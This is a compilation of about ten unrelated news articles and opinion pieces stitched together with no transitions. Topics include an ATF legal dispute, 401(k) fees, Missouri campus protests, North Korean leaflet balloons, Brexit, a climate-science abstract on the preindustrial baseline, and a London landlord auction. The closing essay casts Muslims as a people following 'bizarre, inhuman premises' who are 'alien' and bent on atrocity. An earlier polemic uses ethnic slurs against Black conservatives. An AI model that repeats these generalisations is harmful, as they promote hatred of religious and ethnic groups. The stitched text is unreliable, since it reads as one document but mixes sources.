It appears that despite the judge granting the TRO on Wednesday, yesterday the ATF went to the judge ex parte (meaning without the other side, in this case Ares, being present), and got a “clarification” of the prior TRO. This “clarification” seems to give them the green light to apply for a “lawful search”.
IMHO, in order to have a change between Wednesday when the original TRO was granted, the ATF would have had to have alleged Ares was about to get rid of records and that they, the ATF had emergent reasons for going in now rather than waiting till the full hearing that was scheduled for March 20.
Update:
Here are the prosecutor’s allegations behind the ex parte allegation.
-They materially misrepresent the lower receivers as “firearms”.
-they essentially argue “how dare Ares use the law to get a TRO against us”, that somehow that was a “trick” on Ares part not to provide the “firearms” as per agreement. But if they had the TRO, they were not required to turn over the weapons.
HT: Moderno, Bearing Arms |
by BAR executive editor Glen Ford
The Black sheriff from Milwaukee is a cartoon character whose elevation to Homeland Security is intended as an insult to Black people and a sop to the most bigoted elements of Donald Trump’s base. Clarke’s “talent is to cultivate a crude and shameless contempt for his own ethnicity, tuned to the racist receptors of his white patrons.” He’s a sick Black cat in a hat -- but he’s got company.
Black-Hating Negroes and Their Uses: David Clarke at Homeland Security
by BAR executive editor Glen Ford
“Clarke fills both a psychic and political need of the racists, insulting Blacks with words that even modern day Klansmen hesitate to use in public.”
David Clarke, the sheriff of Milwaukee County who appears slated for a top post at the Department of Homeland Security, has made himself valuable to the White Man’s Party through ostentatious display of hatred and contempt for his fellow Blacks. Clarke is the go-to Negro for denunciations of Black Lives Matter (“Black Lies Matter,” in his words) as Islamic State sympathizers who should be “scooped” up, charged with treason and detained “indefinitely at Gitmo.” Clarke shares his repugnant political specialty with a debased cast of domestic and international characters, including presidents Yoweri Museveni and Salva Kiir, of Uganda and South Sudan, respectively, and Roy Innis, the late former leader of CORE, the Congress of Racial Equality.
All three of the living professional Black-hating-Negroes make themselves readily identifiable as eager allies of American-style white supremacy by wearing huge black cowboy hats. Yoweri Museveni, Ronald Reagan’s favorite African since seizing power in Uganda in 1986, turned his country’s army into a central African military appendage of U.S. imperialism. Under Washington’s direction, Museveni incorporated minority Tutsis from neighboring Rwanda into his armed forces, then supported their 1990 invasion of Rwanda, which led to mass tribal slaughter and the overthrow of the majority Hutu government, followed by the invasion and occupation of the Democratic Republic of Congo by Rwandan Tutsi forces under Paul Kagame, resulting in the death of more than six million Congolese, and still counting. (Kagame should also wear a cowboy hat, but prefers the military beret.) As mercenaries of U.S. Empire, both Museveni and Kagame contribute troops to virtually every western-funded “peace keeping” operation on the continent.
“Clarke shares his repugnant political specialty with a debased cast of domestic and international characters.”
Salva Kiir sports a cowboy hat reportedly given to him by President George W. Bush during a visit to the White House in 2006, five years before South Sudan declared independence under U.S. sponsorship. The hat has become an even more important signifier that Kiir has superpower support, now that he has reverted to the role of warlord in his country’s catastrophic tribal conflict.
Roy Innis, who died in 2017, usually went hatless. He kicked whites out of staff positions in the Congress of Racial Equality in 1968, then almost immediately endorsed Richard Nixon for president. Innis’s vicious diatribes against fellow Blacks earned him a steady stream of speaking engagements at rightwing Republican functions. He backed Ronald Reagan’s nomination of Robert Bork for the Supreme Court in the 1980s, Clarence Thomas in 1991, and Rudolph Giuliani for Mayor of New York in 1989.
David Clarke plays cartoon Black cowboy kiss-up to the same white supremacist audience on the U.S. domestic circuit, and has counterparts in the far-flung Black diasporas of the other white settler colonies and “mother countries.” His talent is to cultivate a crude and shameless contempt for his own ethnicity, tuned to the sick receptors of his white patrons. He fills both a psychic and political need of the racists, insulting Blacks with words that even modern day Klansmen hesitate to use in public: "Let me tell you why blacks sell drugs and involve themselves in criminal behavior instead of a more socially acceptable lifestyle — because they're uneducated, they're lazy, and they're morally bankrupt," Clarke said on a rightwing podcast. Clarke and his ilk serve to sanitize and normalize the most vile, blatantly racist behavior (and thoughts), simply by playing “crackers” in blackface. (The hat conveys the message to even the dullest bigot.) He invoked a lynching party when he vowed, during the campaign, to bring out “pitchforks and torches” against the media and political establishment in Washington.
“Innis’s vicious diatribes against fellow Blacks earned him a steady stream of speaking engagements at rightwing Republican functions.”
Clarke and his despicable domestic cohort do not proselytize to Black people. They are not seeking to build a base of support in their “own” community -- which they constantly dis-own -- so they cannot sway significant numbers of Black people to vote for racists. They are the Anti-Blacks, useful because their antics drive other Black folks up the wall -- to the delight of white racists.
Patrisse Cullors, of the Movement for Black Lives, has good reason to think that David Clarke would use his influence at Homeland Security to make her a political prisoner. “The way he demonizes Black Lives Matter is befitting for an enemy in a war zone,” she writes. “He openly dismisses civil liberties and suggests introducing limitless detention.”
Clarke’s services to white supremacy became much more marketable with the rise of the Black Lives Matter movement. He became a regular on Fox News in the aftermath of the police killing of Michael Brown in Ferguson, Missouri, in 2014. In that sense, he is in debt to Cullors and her comrades for his political fame and new job.
But, let’s be clear: the pursuit of upward mobility through cultivation of white folks’ political favor is not confined to base and conniving caricatures like David Clarke. Sadly, it has become the main route to political fortune in Black America. The best (or worst) example is Barack Obama, who spent a lifetime making himself acceptable to the more politically correct section of the white ruling class. Obama was not a Black leader; he was the Black politician most acceptable and attractive to white Democrats and moneybags – “articulate and bright and clean” in the whitest kind of way, not “like Jesse Jackson.”
What’s more dangerous: a Black opportunist that curries favor with the worst elements of the White Man’s Party, but whose primary effect on Black politics is to make Black folks more vigilant, or a smooth Black operator who is so good at gaining the confidence of the ruling class that they entrust him to wage war on most of the world, and to impose capitalist austerity at home, knowing his mere presence will pacify Blacks and neutralize them as a force for change?
Neither of these political actors advance the cause of Black political self-determination, and one of them is threat to human survival in general.
Malcolm X would see them as two sides of the same treacherous coin. |
Some U.S. workers are losing out on more than $100,000 in retirement savings thanks to 401(k) fees.
The company an employee works for makes all the difference. Over the course of a 40-year career, workers at some companies lose tens of thousands of dollars in 401(k) fees and earnings -- sometimes more than double the savings lost by workers at other firms, according to an exclusive analysis of about 2,300 company 401(k) plans by FutureAdvisor, an online financial adviser.
Each year, 401(k) savers pay a percentage of their account balance toward administrative and investment-management fees, which are usually included in the calculation of fund expense ratios. As an individual's account balance grows, so do the fees they pay.
When a retirement saver is just starting out, they usually pay less than $100 in fees a year since their balance is low, according to FutureAdvisor. But when the account balance reaches $50,000, annual fees more than triple to about an average of $355. And by the time a person is ready to retire, the fees can add up to several thousand dollars a year.
And some employees may face additional costs, including trading fees and operating fees to help the company pay for the plan.
In addition to all of these fees are the earnings savers could have realized had they not been paying so much.
Related: Find out how much 401(k) fees are costing you
"While [fees are] a small percentage of your balance, it is a huge chunk of your expected growth," said FutureAdvisor co-founder Bo Lu.
An ordinary two-earner household will lose a whopping $154,794 to fees and lost returns over a 40-year career, according to a study released last year by Demos, a New York City-based think tank.
The highest fees are typically at small companies of 1,000 employees or less, where human resources teams have less power to negotiate with financial firms that offer 401(k)s.
In these smaller company plans, average expense ratios are as high as 1.5% and can eat away at more than $200,000 in savings over the course of 40 years, according to FutureAdvisor. In contrast, a participant in the Thrift Savings Plan -- a 401(k)-style plan for federal employees that charges fees of around 0.03% -- will likely lose less than $10,000 to fees and lost returns during 40 years of saving.
Yet even plans at large companies may have fees that add up to major losses.
Related: Six secrets to a dream retirement
For example, let's say Employee A works for FedEx, while Employee B works for Best Buy. The employees are the same age (25), have the same salary ($55,000), same annual wage growth (3%) and put the same chunk of their salary in their employer's 401(k) plan each year (10%).
After 40 years, Employee A would have a final account balance of nearly $830,000, according to FutureAdvisor's analysis. Employee B, meanwhile, would start retirement at age 65 with a nest egg of roughly $743,000 — almost $100,000 less.
"That means [Employee B would] have to work an extra five or six years," Lu said. "That changes someone's life."
Best Buy and FedEx did not respond to requests seeking comment.
While Best Buy's average expense ratio of about 0.7% is fairly pricey for a large company, according to FutureAdvisor, it is only slightly higher than the 0.68% average it found for the 2,365 companies it analyzed.
But employees with plans charging high 401(k) fees aren't necessarily out of luck.
Most plans tend to have a few low-fee options. Participants should review all the plan's offerings to make sure they are getting the most cost-effective funds, said Lu.
"I think what people fail to realize is that oftentimes you can save yourself an enormous amount of fees just by picking the right funds in your 401(k)," he said.
Related: The Ultimate Guide to Retirement
Last year, new federal rules were put in place that require plan providers to be more transparent about the 401(k) fees they charge. But the increased fee disclosures have done little to increase awareness among retirement savers, according to a March survey from LIMRA, a financial services trade association.
Half of plan participants surveyed said they didn't know how much they paid in annual fees — the same percentage who said they were in the dark before the increased disclosures went into effect.
"People think just because they're not pulling out a credit card or their wallet, that they don't exist," Lu said. "There is almost nothing else in our lives where we pay $1,000 where we thought we didn't pay anything." |
Concerned Student 1950, led by University of Missouri graduate student Jonathan Butler, celebrates the university president’s resignation on Monday. On Tuesday, in response to student demands, the university started working toward a more diverse faculty and staff. (Photo: Sarah Bell/Missourian via Associated Press)
The campus coup d’etat is over. The University of Missouri has named its first interim vice chancellor for inclusion, diversity and equity.
Provost Garnett Stokes said Tuesday that Chuck Henson will fill the role. Henson is associate dean for academic affairs and trial practice at the university’s School of Law. His appointment comes a day after the president of the four-campus university system and the chancellor at its flagship in Columbia announced their resignations amid anger from students, professors and state lawmakers over their handling of racial and other issues.
The university has said it also plans to review policies related to staff and student conduct and to provide more support to those experiencing discrimination. In response to student demands, it has pledged to work toward employing a more diverse faculty and staff.
After Monday’s resignations, hundreds of students at an outdoor amphitheater chanted, “I ... am ... a … revolutionary!” Social media users around the world joined in, tweeting more than 100,000 times about the day’s protest.
The uprising was partly a ripple effect from last year’s protests in Ferguson, Mo. Once again, students paired bold physical protests with a social media megaphone to demand a renewed focus on racial inequality. Reuben Faloughi, a third-year doctoral student, said Monday that his experience with activism after Brown’s shooting death by a police officer “planted the seeds that students can challenge things.”
“The frustration and anger that I see is clear, real, and I don’t doubt it for a second,” said university President Tim Wolfe as he resigned Monday.
Student activism is nothing new, and not even something uncommon this semester: Similar protests over racist incidents took place at Yale University and a high school in Berkeley in recent weeks. University of California President Janet Napolitano said that college campuses have “historically been places where social issues in the United States are raised and where many voices are heard.”
But the rise of social media had made a major difference, she said, between activism on today’s campuses and those during the Vietnam War and civil rights era of protest. “It makes the pace of things more rapid now,” she said.
Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Read or Share this story: http://on.freep.com/1NM46Ge |
This article is over 3 years old
South Korean activists will take part in mass launch of balloons with the Hollywood film attached this month despite threats from Pyongyang
10,000 copies of The Interview to be sent to North Korea by balloon
South Korean activists vowed Tuesday to sneak copies of Hollywood satire “The Interview” across the border by propaganda balloon later this month, in defiance of North Korea’s repeated threats.
Up to 10,000 copies of the film - a comedy about a fictional CIA plot to assassinate North Korean leader Kim Jong-Un - and 500,000 political leaflets are scheduled for a balloon-launch around 26 March.
An earlier plan by activists and the US-based Human Rights Foundation to send 100,000 copies of the film in January was postponed until after last month’s Lunar New Year.
However they went ahead with plans to send 100,000 anti-Pyongyang leaflets.
The upcoming launch will mark the five-year anniversary of the sinking of a South Korean warship in 2010, with the loss of 46 sailors. The South pinned the blame on the North and effectively froze all inter-Korean trade and investment ties.
No details have been given about the content of the leaflets, though propaganda sent in the past has denounced North Korea’s ruling family.
Seoul insists the activists have a democratic right to send the leaflets, but has appealed for restraint to avoid overly provoking the North.
“We will set the exact date and location for our operation in consideration of weather conditions, but it will not be publicised,” said Park Sang-Hak, a former defector who has led a series of balloon launches.
The North has already warned that Park will “pay for his crimes in blood” if copies of the film make it across the border.
On 2 March, the North’s state-run website Uriminzokkiri warned that Pyongyang would respond to any balloon launches with “not just a few shots of gunfire but cannons or missiles”.
“Nobody can stop it. I will keep sending leaflets into North Korea at the risk of my life,” Park said, adding he has always prepared to face down the North’s threats.
Pyongyang, which refers to Park as “human scum”, has long condemned the balloon launches and in recent months has stepped up its demands for Seoul to ban them.
In October last year North Korean border guards attempted to shoot down some balloons, triggering a brief exchange of heavy machine-gun fire between the two sides.
Local residents living near the launch sites have complained that the activists are putting their lives at risk by making them potential targets for North Korean retaliation. |
I have taken to apologising for owning a home. Not in the Uriah Heepish way leftwing males apologise for sexism, the better to get into women’s knickers, or in the self-abasing manner of students who check their white privilege and thus perpetuate the racial stereotypes they are meant to deplore. I don’t believe in wasting energy apologising for genders and skin colours you had no say in choosing. And I thought I had seen too many charlatans exploit identity politics and liberal guilt to comply with demands to check my privilege.
Yet still, and for all that, when young friends call, I fall over myself to explain how I came to own a house in London. There’s no family fortune, I say, it’s just that in the 1980s debt was low and property cheap. A middle-class couple in unspectacular jobs – I was a general news reporter on the Independent, my wife was a department manager for John Lewis – would climb on the property ladder as automatically as we would take a driving test.
My guests cannot imagine owning a flat if they live to be 100. They try not to hit me and I try to explain to myself why I am apologising.
Checking your age privilege feels as absurd as checking your white or male privilege. The notion of the oppressed “young” is as artificial as the oppressed “ethnic minorities” or subjugated “women”. It is not as if we are talking about a unified group in any of these instances. More often than not, the British are just finding a way of avoiding talking about class, which so thoroughly dominates this creaking country it is as if the 20th century never happened.
To spell it out: a supposedly privileged baby-boomer is not noticeably privileged if he’s a 65-year-old former miner, coughing up his lungs with chronic bronchitis. Nor can a public-school-educated princess, with a job in the City or the arts, and the promise of an untaxed and unearned windfall when her parents die, reasonably be described as an accursed member of “the jilted generation”.
But just as your gender matters vastly more than it should if you live in Saudi Arabia or work in a sexist office, so age in the rich world is determining to an unjust extent the burdens citizens must carry.
In Europe, the pain of the eurozone crisis bears disproportionately on the young, who have experienced Weimar levels of youth unemployment in Spain, Portugal and Greece. In Britain, you see a less dramatic but equally ominous future: the growth of the gerontocracy, where politicians realise that the client group they must bribe with other people’s money is the ever-growing number of elderly voters.
George Osborne may have been the youngest chancellor in 120 years but he has turned on the young with single-minded viciousness. Maybe he was bullied at school. More probably he has made a cynical calculation. There are more pensioners than ever. They are more likely to vote than anyone else. Therefore the smart move for canny political operators everywhere is to forget about prudence and fiscal conservatism in the elderly’s case and follow a doctrine of “capitalism for the young and socialism for the old”.
A small library of research charts the shift in wealth and power. As we report today, the 2015 Intergenerational Fairness Index reveals a 10% deterioration in the prospects of younger generations relative to the old in the past five years. The Office for National Statistics says that retirees saw their incomes increase by 5.1% between 2007/08 and 2011/12, while typical working households saw incomes fall by 6.4%. The Institute for Fiscal Studies meanwhile makes a point that cannot be made often enough: 30 years ago, pensioners were much more likely to be poorer than their younger counterparts. In 2011, the average incomes of pensioner households rose above the average incomes of the rest of the population for the first time in history, and they are still rising today.
Tory policies are too often acts of class war, designed to help the middle and upper classes at the expense of the working class and poor, but they are also acts of intergenerational war, designed to protect and increase the wealth of the old at the expense of the young. Last week’s budget was an exceptionally squalid example: Osborne hit 13 million working families with his changes to tax credits and the universal benefit, decided that his raised minimum wage should apply only to workers aged over 25, turned the university maintenance grants of 500,000 students from working-class families into loans and further restricted housing benefit for 18- to 21-year-olds.
The consequences of denying opportunities to the young are well known. As the leftwing economist Chris Dillow puts it: “Economic conditions in our formative years can have long-lasting effects upon our attitudes towards the economy. It is, surely, only a generation brought up cosseted in (relative) affluence that could ever have listened to song lyrics such as ‘All you need is love’ without laughing contemptuously.”
Some of today’s young who have been through exploitative internships, bum jobs and no jobs at all will be cowed for the rest of their life. They haven’t made their rites of passage. They have missed out on learning the work ethic and lost opportunities for education and training. The economic record shows they are less productive when they finally find work. There is good evidence that they are also likely to be much more cynical than men and women who came of age in good times. They believe that success depends on luck, not talent, and they are far less inclined to take financial risks as they grow older.
Modern Conservative economics produces very unconservative people
In short, modern Conservative economics produces very unconservative people. They are unlikely to be entrepreneurs and will regard the “role models” society holds up for them to admire as the beneficiaries of luck or fraud. It is also unsustainable. As the number of pensioners grows we cannot afford to keep whacking up their benefits, or fund lavish public sector pensions, or exempt all pensioner earnings from national insurance. Especially when we are simultaneously inflating the costs of housing and education for their children and grandchildren.
One day, we’ll find there aren’t enough productive young people to support Osborne’s future. And as the young are all in the end the old have to maintain them, they should worry more about how they are going to do it. |
Nothing is certain about the turn that events may take if Britain votes to leave the European Union, except that it would be interesting. That is no recommendation. To invert the apocryphal Chinese curse, given Europe’s bloody history, we should hope for boring times.
If David Cameron wins the referendum, he must be ruthless with his Tory foes | Matthew d’Ancona Read more
A remain vote would create drama of a parochial kind. The culture war that began as a domestic tiff in the Conservative party and evolved into a messy street brawl would go back indoors. Screams of betrayal and the sound of broken Tory crockery would waft from Westminster. The rest of the country could go about its business.
A leave result would mean convulsion on a bigger scale. There is no precedent for a country quitting the EU. The crisis would be continental. The Brexit camp has no idea what should happen. There is a plan to walk out and slam the door, but nowhere to go next. Turmoil is part of the appeal for leaders of the leave campaign, although they dare not advertise thrill-seeking among their motives. It makes them sound reckless.
They are reckless. For Boris Johnson, there is a career advantage in hastening the collapse of David Cameron’s premiership. Relations with Britain’s closest trading partners can be collateral damage in that campaign. There is nothing in Johnson’s record to suggest interest in the welfare of anyone who cannot advance his ambition.
Michael Gove’s case is more intriguing. The justice secretary is drawn to disorder as a purgative tonic – a moral enema for constipated bureaucracies. David Laws, the former Liberal Democrat schools minister, in his chronicle of coalition, recounts a private apology Cameron once made for Gove’s impulses: “The thing that you’ve got to remember with Michael is that he is basically a bit of a Maoist. He believes that the world makes progress through a process of creative destruction.”
In the Govian worldview, the European project is not an economic alliance but a morbid symptom. It is a pathogen that constricts sovereignty and enterprise. No side-effect of treatment can be too severe if the reward at the end is a zero Brussels count in the national bloodstream. Job losses, market panic, recession, political crisis – all possible, yes. But there’s no shock therapy without a shock. If it’s hurting, it’s working.
When Cameron uses “creative destruction” to describe Gove’s philosophy he is alluding to Joseph Schumpeter, the Austrian-born American economist who developed Karl Marx’s account of the way capitalist systems evolve. Crudely speaking, Schumpeter described a cycle of new goods and forms of production challenging and deposing old ones. A reigning generation adapts or dies by market obsolescence.
A feature of all grand, deterministic theories is the impatience they inspire in acolytes. Free market ideologues, like revolutionary Marxists, do not sit around waiting for existing orders to die of natural causes. Having decided that a system is destined to collapse under a weight of internal contradictions, the obvious course is to jump up and down on vulnerable pressure points. Sometimes the forces of history need a helping hand. In that spirit, Gove used to keep a portrait of Lenin in his office.
This selfish, strangely adolescent revelling in the power to provoke mayhem has consequences beyond our shores
The anti-capitalist left has always mistrusted the European project, and still eyes it with a saboteur’s glint. Jeremy Corbyn may have been persuaded to back the remain cause by his MPs, but pragmatic compromise is not his natural idiom, and it shows. He endorses the EU with the lugubrious evangelism of a dentist recommending root canal treatment.
That is unsurprising given that his ascent was steeped in the romance of radicalism. Corbyn was carried on the shoulders of young idealists who are not in a movement for tinkering with the status quo. But he sees that the version of Brexit on the menu has been cooked up by people hostile to every social protection he has sworn to defend.
That is another feature of the leave proposition on which Johnson, Gove and friends choose not to dwell. Their creative destructive process starts with a bonfire of regulations, which are presumed to stifle enterprise but mostly shield workers from capricious dismissal and discrimination. Freedom to be sacked for daring to have a baby doesn’t chime so well with the poster invitation to “take control”.
Such sleight of hand is integral to the Euro-vandal fantasy. There is a hidden clause in every promise of radical upheaval, left or right, that indemnifies the authors of chaos against payment for its consequences. The language is suffused with violence but the rabble-rousers never anticipate being at the scene.
Systems need smashing, bastions need storming – which sounds thrilling if you aren’t the one trampled in the stampede. Gove and Johnson indulge creative fantasies of Brexit because they have the capital and connections to weather a spell of destruction. When a revolutionary plans an omelette, it’s always someone else’s eggs that have to be broken.
This selfish, strangely adolescent revelling in the power to provoke mayhem has consequences beyond our shores. A leave vote emboldens every national-chauvinist opposition in Europe while debilitating the moderate centre. But that too is part of the formula. Nigel Farage has spoken eagerly of the prospect that Britain’s departure might trigger a domino effect, leading to the union’s unravelling. There is a millenarian ardour about the hardliners who see Britain as the saviour nation, liberating itself and the rest of the continent from federalising folly.
Whether many citizens of other EU states welcome Brexit as an act of benevolent arson is beside the point. Another feature of revolutionary fervour is that it recognises only the opinion of the loyal, enlightened vanguard. Criticism is proof of the critic’s capture by the corrupt old order.
It is possible that enough people in Britain are frustrated with the way things are to vote for a drastic change of direction without knowing the destination. That is what the leaders of the leave campaign are relying on. They fizz with the thrill of destruction, yet they hold no blueprint for creation.
Gove, Johnson, Farage and the rest are lighting a fire on the off-chance that a phoenix will rise from the ashes, while safe in the knowledge that it won’t be their livelihoods going up in smoke. |
The United Nations Framework Convention on Climate Change (UNFCCC) process agreed in Paris to limit global surface temperature rise to “well below 2°C above pre-industrial levels.” But what period is preindustrial? Somewhat remarkably, this is not defined within the UNFCCC’s many agreements and protocols. Nor is it defined in the IPCC’s Fifth Assessment Report (AR5) in the evaluation of when particular temperature levels might be reached because no robust definition of the period exists. Here we discuss the important factors to consider when defining a preindustrial period, based on estimates of historical radiative forcings and the availability of climate observations. There is no perfect period, but we suggest that 1720–1800 is the most suitable choice when discussing global temperature limits. We then estimate the change in global average temperature since preindustrial using a range of approaches based on observations, radiative forcings, global climate model simulations, and proxy evidence. Our assessment is that this preindustrial period was likely 0.55°–0.80°C cooler than 1986–2005 and that 2015 was likely the first year in which global average temperature was more than 1°C above preindustrial levels. We provide some recommendations for how this assessment might be improved in the future and suggest that reframing temperature limits with a modern baseline would be inherently less uncertain and more policy relevant.
Section: Choose Top of page Abstract << RELEVANCE OF THE PREINDUS... DEFINING A SUITABLE PREIN... APPROACH 1: USING RADIATI... APPROACH 2: USING LAST MI... APPROACH 3: USING LONG IN... OVERALL ASSESSMENT. CONCLUSIONS AND IMPLICATI... REFERENCES CITING ARTICLES Better defining (or altogether avoiding) the term “pre-industrial” would aid interpretation of internationally agreed global temperature limits and estimation of the required constraints to avoid reaching those limits. The basis for international negotiations on climate change has been to “prevent dangerous anthro- pogenic interference with the climate system,” (p. 9) using the words in Article 2 of the United Nations Framework Convention on Climate Change (UNFCCC; United Nations 1992). The 2015 Paris COP21 Agreement (United Nations 2015) aims to maintain global average temperature “well below 2°C above pre-industrial levels and pursuing efforts to limit the temperature increase to 1.5°C above pre-industrial levels” (p. 3). However, there is no formal definition of what is meant by “pre-industrial” in the UNFCCC or the Paris Agreement. Neither did the Fifth Assessment Report (AR5) of the Intergovernmental Panel on Climate Change (IPCC) use the term when discussing when global average temperature might cross various levels because of the lack of a robust definition (Kirtman et al. 2013). Ideally, a preindustrial period should represent the mean climate state just before human activities started to demonstrably change the climate through combustion of fossil fuels. Here we discuss which time period might be most suitable, considering various factors such as radiative forcings, availability of observations, and uncertainties in our knowledge. We will focus on global temperatures, specifically for informing discussions on future temperature limits, and make an assessment of how much global average temperature has already warmed since our defined preindustrial period using a range of approaches. We will also provide recommendations for i) how future international climate reports and agreements might use this assessment and ii) how the assessment itself may be improved in the future, particularly regarding the use of instrumental data, proxy evidence, and simulations of past climate.
OVERALL ASSESSMENT. Section: Choose Top of page Abstract RELEVANCE OF THE PREINDUS... DEFINING A SUITABLE PREIN... APPROACH 1: USING RADIATI... APPROACH 2: USING LAST MI... APPROACH 3: USING LONG IN... OVERALL ASSESSMENT. << CONCLUSIONS AND IMPLICATI... REFERENCES CITING ARTICLES We consider that approaches based on the radiative forcings and scaled instrumental observations currently produce more reliable estimates of the global temperature change since preindustrial than the last millennium GCM simulations. This weighting of methods could change in the future with additional evidence, analysis, and model development (see implications discussed below). Furthermore, the estimates using radiative forcings are generally larger than when using the observational datasets, as summarized in Fig. 4. Much of the uncertainty in the assessment derives from the range of global temperature change estimates available since 1850. For example, the uninterpolated HadCRUT4 dataset produces lower values than the other infilled records. Our overall assessment is that the change in global average temperature from preindustrial to 1986–2005 is “likely” between 0.55° and 0.80°C. This range reflects the authors’ aggregated assessment of the three approaches and contains virtually all of the best estimates using the various combinations of regional and global temperature datasets and scaled radiative forcing estimates. Note that there are potentially important uncertainties in each approach that we cannot quantify. As in IPCC AR5 we consider that likely refers to greater than 66% probability, although this is not a formal uncertainty quantification. It is also helpful to assess a lower bound and we suggest that the warming from preindustrial until the 1986–2005 period is likely greater than 0.60°C, implying that the value used by IPCC AR5 for the warming since 1850–1900 (0.61°C) was probably smaller than the true change since preindustrial. Such differences matter more when considering the chance of crossing lower temperature levels such as 1.5°C than when considering higher values. Using this lower bound, 2015 was the first year to be more than 1°C above preindustrial levels in each global temperature dataset (Fig. 5). The year 2016 was warmer than 2015, but future years could still be cooler than 2015 owing to internal variability, such as a La Niña event.
View larger version (39K)
The available proxy-based evidence is consistent with our assessment, but currently too uncertain to make more precise estimates, partly because of different seasonal signals (see appendix). However, defining a preindustrial period offers a target for proxy reconstructions to aid future assessments.
ACKNOWLEDGMENTS We thank John Fasullo and Johann Jungclaus for providing the CESM1 LME and MPI-ESM data, respectively. EH is funded by the U.K. National Centre for Atmospheric Science (NCAS) and a Natural Environment Research Council (NERC) fellowship (Grant NE/I020792/1). TJO and GH were supported by the NERC (Grant NE/N006348/1, SMURPHS). ES was supported by the European Union Seventh Framework Programme (FP7/2007-2013) under the SPECS project (Grant Agreement 308378) and by the UK-China Research and Innovation Partnership Fund through the Met Office Climate Science for Service Partnership (CSSP) China as part of the Newton Fund. AS and GH are supported by the ERC funded project TITAN (EC-320691). GH was further supported by NCAS and the Wolfson Foundation and the Royal Society as a Royal Society Wolfson Research Merit Award (WM130060) holder. VMD acknowledges support from Agence Nationale de la Recherche, project ANR-15-CE01-0015 (AC-AHC2). PO was supported by the NERC project DYNAMOC (NE/M005127/1).
REFERENCES Section: Choose Top of page Abstract RELEVANCE OF THE PREINDUS... DEFINING A SUITABLE PREIN... APPROACH 1: USING RADIATI... APPROACH 2: USING LAST MI... APPROACH 3: USING LONG IN... OVERALL ASSESSMENT. CONCLUSIONS AND IMPLICATI... REFERENCES << CITING ARTICLES |
A Cricklewood landlord who was ordered in September to pay more than £700,000 after he breached Barnet Council’s planning enforcement rules has had his rental property prepossessed. It will be sold under the hammer this week.
Saied Rahmdezfouli was refused consent in 2006 to convert his semi-detached house at 11 Quantock Gardens, Cricklewood, NW2, into nine flats. But he opted to press ahead with the conversion anyway and subsequently rented out the flats despite the fact that they were ‘substandard in size and poorly designed’.
Following lengthy investigations and court proceedings at Wood Green Crown Court, Rahmdezfouli was ordered to pay back the record-breaking amount.
In addition to paying back the £555,954.49 profit he generated from the illegal tenancies, Rahmdezfouli also has to pay a £65,000 fine for the planning offences and £80,000 in legal costs.
If the unscrupulous landlord fails to pay the money in full by the end of this month, he faces a prison sentence of up to five years and four months.
But it would appear that Rahmdezfouli has struggled to raise the necessary funds and as a consequence has now had his north London property repossessed.
Countrywide Property Auction was instructed by LPA Receivers to sell the house in Cricklewood on Friday and it was yesterday added to the auction catalogue at a guide price of £675,000 ahead of this week’s sale in London.
The six-bedroom house is currently tenanted on an AST until February 2017 which Countrywide states offers ‘great potential for all investors and buy-to-let landlords’, but there appears to be some confusion over how much rent is currently being received.
The property description in Countrywide’s catalogue says that the property is generating £4,500 a month in rent, which works out at £54,000 a year.
The house on Quantock Gardens will be sold on Thursday 8th December as part of a 62-lot catalogue at Le Meridien Piccadilly in London’s West End. The auction starts at 1pm.
To view the catalogue, click here. |
It is frequently asserted that Islam is insane and irrational, and that the actions of devout Muslims are therefore capricious and without logic. This is hardly the case. Muslims are generally quite rational — they just have very different logical premises than we do.
Muslims do not commit bizarre, inhuman acts for no reason. They do so for quite precise reasons, which may be determined from reading their source texts (plus tafsirs, or authenticated exegeses) closely. If you begin with bizarre, inhuman premises, and follow the rules carefully based on them, then PRESTO! — you’re a Muslim. A good Muslim. You’re a devout servant of Allah, a god who demands that you follow his intricate instructions down to the minutest detail.
Every time someone refers to a jihad massacre as a “senseless tragedy”, he reveals that he has not done due diligence with respect to Islamic law. Those acts are not senseless, not in the slightest. And they are not “tragedies”, they are atrocities. Intentional, deliberate, methodical atrocities carried in rigorous compliance with Islamic law.
Islam is, by and large, a huge compendium of rules derived from the Koran and the sayings of Mohammed. Taken together these comprise the shariah, or Islamic Law. They form the basis of the fiqh, Islamic jurisprudence, which judges the actions of all people according to whether or not they are in accord with the shariah. And the rules are not for Muslims alone; the kuffar (unbelievers) are also subject to the fiqh, provided that Muslims are locally present in sufficient numbers to bring coercive force to bear.
Islamic justice enforces laws that are logically derived from premises found in the Koran and the Sunna. The rules were worked out over a period of several hundred years after the time of Mohammed by jurists and theologians. After that the established rules became fixed in stone, as it were — as the saying goes, “The door to ijtihad is closed,” where ijtihad is the process of independent reasoning from which interpretations of the scripture may be devised. Any further ijtihad is thus considered blasphemous.
The logic employed to construct the shariah is not an Aristotelian sort of logic. The traditions of the ancient Greeks do not inform Islamic thought. Yet Islam still employs a species of formal logic: the scholar examines a given thing in the light of premises that are found in the Koran, the Sunna, and the authoritative rulings derived from them. Then, using those premises, the Islamic jurist determines whether that thing is haram or halal, forbidden or required. Occasionally a thing is neither haram nor halal, so it is permissible but not recommended. Those instances are relatively rare — almost every human action can be shaded one way or the other under the shariah.
If devout Muslims follow the logic of the shariah scrupulously, actions such as the destruction of the Bamiyan Buddhas in Afghanistan are the inevitable result. Likenesses of the Buddha violate the shariah in at least two ways:
1. They are representative depictions of the human form, which are explicitly forbidden by Allah, and therefore haram; and 2. They represent the worship of an entity other than Allah, which is shirk, or polytheism, and thus haram and subject to obliteration.
The same fate awaits the great monuments of ancient Egypt, if pious Muslims ever come to power in Cairo and gain access to modern technology.
It is not widely understood that most of the destruction inflicted on Egyptian antiquities was carried out during and after the Islamic conquest of Egypt, when the zealous and pious conquerors attempted to erase all relics of the jahiliyyah, the time of ignorance before Islam. However, the new Islamic rulers were limited in their technological abilities and thus unable to complete the destruction, especially where the Pyramids were concerned.
If, say, the Islamic State were ever to overrun Cairo, it might well manage to complete what the Rashidun Caliphate failed to do in the 7th century. Especially if it were to gain access to nuclear weapons — the problem of all that monumental stone shirk could be resolved instantly in a single blinding flash. A plain of green glass and tens of millions of corpses would pale into insignificance compared with the magnificent fulfillment of the shariah that would be accomplished by the destruction.
And all of this would be arrived at quite logically, according Islamic premises and Islamic rules.
If we want to defeat this enemy, it is imperative that we understand him. And he does not think the way we do. Muslim thought processes are different, especially in societies that have been Islamic for many generations. But they are neither insane nor illogical, they are simply alien.
